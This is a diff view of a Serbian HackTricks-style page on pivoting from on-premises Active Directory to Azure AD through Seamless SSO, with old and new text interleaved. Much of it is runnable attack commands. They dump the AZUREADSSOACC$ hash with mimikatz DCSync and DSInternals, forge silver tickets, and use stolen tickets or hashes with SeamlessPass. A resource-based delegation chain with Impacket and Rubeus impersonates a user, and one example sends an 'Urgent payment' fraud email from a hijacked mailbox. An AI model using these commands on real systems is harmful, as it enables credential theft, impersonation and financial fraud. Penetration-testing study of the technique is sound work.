||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, administrator domena može kompromitovati **hash ovog računa**, a zatim ga koristiti za **kreiranje srebrnih karata** za povezivanje na Azure sa **bilo kojim korisnikom na lokaciji koji je sinhronizovan**:
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> Glavna stvar koju treba znati o ovom napadu je da je samo posedovanje TGT-a ili specifičnog TGS-a korisnika koji je sinhronizovan sa Entra ID dovoljno za pristup cloud resursima.\
|
||||
> To je zato što je to tiket koji omogućava korisniku da se prijavi u cloud.
|
||||
|
||||
Da bi dobio taj TGS tiket, napadač treba da ima jedan od sledećih:
|
||||
- **TGS kompromitovanog korisnika:** Ako kompromitujete sesiju korisnika sa tiketom za `HTTP/autologon.microsoftazuread-sso.com` u memoriji, možete ga koristiti za pristup cloud resursima.
|
||||
- **TGT kompromitovanog korisnika:** Čak i ako ga nemate, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Hash ili lozinku kompromitovanog korisnika:** SeamlessPass će komunicirati sa kontrolerom domena sa ovom informacijom da generiše TGT, a zatim TGS.
|
||||
- **Zlatni tiket:** Ako imate KRBTGT ključ, možete kreirati TGT koji vam je potreban za napadnutog korisnika.
|
||||
- **Hash ili lozinku AZUREADSSOACC$ naloga:** Sa ovom informacijom i SID-om korisnika za napad, moguće je kreirati servisni tiket i autentifikovati se sa cloud-om (kao što je izvedeno u prethodnoj metodi).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
Kao što je [objašnjeno u ovom blog postu](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), posedovanje bilo kog od prethodnih zahteva je veoma lako koristiti alat **SeamlessPass** za pristup cloud resursima kao kompromitovani korisnik, ili kao bilo koji korisnik ako imate hash ili lozinku **`AZUREADSSOACC$`** naloga.
|
||||
|
||||
Na kraju, sa TGT-om je moguće koristiti alat [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) sa:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Dalje informacije o podešavanju Firefoxa za rad sa seamless SSO mogu se [**pronaći u ovom blog postu**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Dobijanje hash-eva za AZUREADSSOACC$ nalog
|
||||
|
||||
**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, domen administrator može kompromitovati **hash ovog naloga**, a zatim ga koristiti za **kreiranje silver karata** za povezivanje sa Azure-om sa **bilo kojim on-prem korisnikom koji je sinhronizovan**:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -38,14 +87,20 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
Sa hash-om sada možete **generisati srebrne karte**:
|
||||
> [!NOTE]
|
||||
> Sa trenutnim informacijama možete jednostavno koristiti alat **SeamlessPass** kao što je prethodno navedeno da dobijete azure i entraid tokene za bilo kog korisnika u domenu.
|
||||
> Takođe možete koristiti prethodne tehnike (i druge) da dobijete hash lozinke žrtve koju želite da imitirate umesto `AZUREADSSOACC$` naloga.
|
||||
|
||||
#### Kreiranje Silver karata
|
||||
|
||||
Sa hash-om sada možete **generisati silver karte**:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
@@ -53,57 +108,84 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
Da biste iskoristili srebrnu kartu, sledeći koraci treba da se izvrše:
|
||||
### Korišćenje Silver Tickets sa Firefoxom
|
||||
|
||||
1. **Pokrenite pregledač:** Treba pokrenuti Mozilla Firefox.
|
||||
2. **Konfigurišite pregledač:**
|
||||
Da biste iskoristili silver ticket, sledeći koraci treba da se izvrše:
|
||||
|
||||
1. **Pokrenite Pregledač:** Mozilla Firefox treba da se pokrene.
|
||||
2. **Konfigurišite Pregledač:**
|
||||
- Idite na **`about:config`**.
|
||||
- Postavite preferencu za [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) na navedene [vrednosti](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
3. **Pristupite web aplikaciji:**
|
||||
- Posetite web aplikaciju koja je integrisana sa AAD domenom organizacije. Uobičajen primer je [Office 365](https://portal.office.com/).
|
||||
4. **Proces autentifikacije:**
|
||||
- Na ekranu za prijavu, treba uneti korisničko ime, ostavljajući polje za lozinku prazno.
|
||||
- Postavite preferencu za [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) na određenu [vrednost](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Idite na Firefox `Podešavanja` > Pretražite `Dozvoli Windows jedinstveno prijavljivanje za Microsoft, radne i školske naloge` i omogućite to.
|
||||
3. **Pristupite Web Aplikaciji:**
|
||||
- Posetite web aplikaciju koja je integrisana sa AAD domenom organizacije. Uobičajen primer je [login.microsoftonline.com](https://login.microsoftonline.com/).
|
||||
4. **Proces Autentifikacije:**
|
||||
- Na ekranu za prijavu, korisničko ime treba uneti, ostavljajući polje za lozinku prazno.
|
||||
- Da biste nastavili, pritisnite TAB ili ENTER.
|
||||
|
||||
> [!TIP]
|
||||
> Ovo ne zaobilazi MFA ako je omogućeno
|
||||
> [!WARNING]
|
||||
> Ovo **ne zaobilazi MFA ako je omogućeno** za korisnika.
|
||||
|
||||
#### Opcija 2 bez dcsync - SeamlessPass
|
||||
|
||||
Takođe je moguće izvršiti ovaj napad **bez dcsync napada** da biste bili diskretniji, kao što je [objašnjeno u ovom blog postu](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Za to vam je potrebna samo jedna od sledećih stavki:
|
||||
### On-prem -> Cloud putem Ograničene Delegacije na Bazi Resursa <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
- **TGT kompromitovanog korisnika:** Čak i ako ga nemate, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Zlatna karta**: Ako imate KRBTGT ključ, možete kreirati TGT koji vam je potreban za napadnutog korisnika.
|
||||
- **NTLM hash ili AES ključ kompromitovanog korisnika:** SeamlessPass će komunicirati sa kontrolerom domena sa ovom informacijom da generiše TGT.
|
||||
- **NTLM hash ili AES ključ AZUREADSSOACC$ naloga:** Sa ovom informacijom i SID-om korisnika koji napadate, moguće je kreirati servisnu kartu i autentifikovati se sa cloud-om (kao što je izvedeno u prethodnoj metodi).
|
||||
Da biste izvršili napad, potrebni su:
|
||||
|
||||
Na kraju, sa TGT-om je moguće koristiti alat [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) sa:
|
||||
- `WriteDACL` / `GenericWrite` nad `AZUREADSSOACC$`
|
||||
- Račun računara koji kontrolišete (hash i lozinka) - Možete kreirati jedan
|
||||
|
||||
|
||||
1. Korak 1 – Dodajte svoj račun računara
|
||||
- Kreira `ATTACKBOX$` i štampa njegov SID/NTLM hash. Svaki korisnik domena može to učiniti dok je MachineAccountQuota > 0
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
2. Korak 2 – Dodelite RBCD na `AZUREADSSOACC$` - Upisuje SID vaše mašine u `msDS-AllowedToActOnBehalfOfOtherIdentity`.
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
Dalje informacije o podešavanju Firefoxa za rad sa seamless SSO mogu se [**pronaći u ovom blog postu**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
3. Korak 3 – Kreirajte TGS za bilo kog korisnika (npr. alice)
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
#### ~~Kreiranje Kerberos karata za korisnike koji koriste samo cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
Ako administratori Active Directory imaju pristup Azure AD Connect, mogu **postaviti SID za bilo kog cloud-korisnika**. Na ovaj način Kerberos **karte** mogu biti **kreirane i za korisnike koji koriste samo cloud**. Jedini zahtev je da SID bude ispravan [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
Možete sada koristiti **TGS za pristup Azure resursima kao imitirani korisnik.**
|
||||
|
||||
|
||||
### ~~Kreiranje Kerberos karata za korisnike koji koriste samo cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Ako administratori Active Directory-a imaju pristup Azure AD Connect, mogu **postaviti SID za bilo kog cloud-korisnika**. Na ovaj način Kerberos **karte** mogu biti **kreirane i za korisnike koji koriste samo cloud**. Jedini zahtev je da SID bude ispravan [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Promena SID-a korisnika koji koriste samo cloud je sada **blokirana od strane Microsoft-a**.\
|
||||
> Za informacije proverite [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Cloud putem Ograničene Delegacije na Bazi Resursa <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Svako ko može upravljati računima računara (`AZUREADSSOACC$`) u kontejneru ili OU u kojem se ovaj račun nalazi, može **konfigurisati ograničenu delegaciju na bazi resursa preko računa i pristupiti mu**.
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: Ja sam u vašem oblaku, čitam e-poštu svih - hakovanje Azure AD putem Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user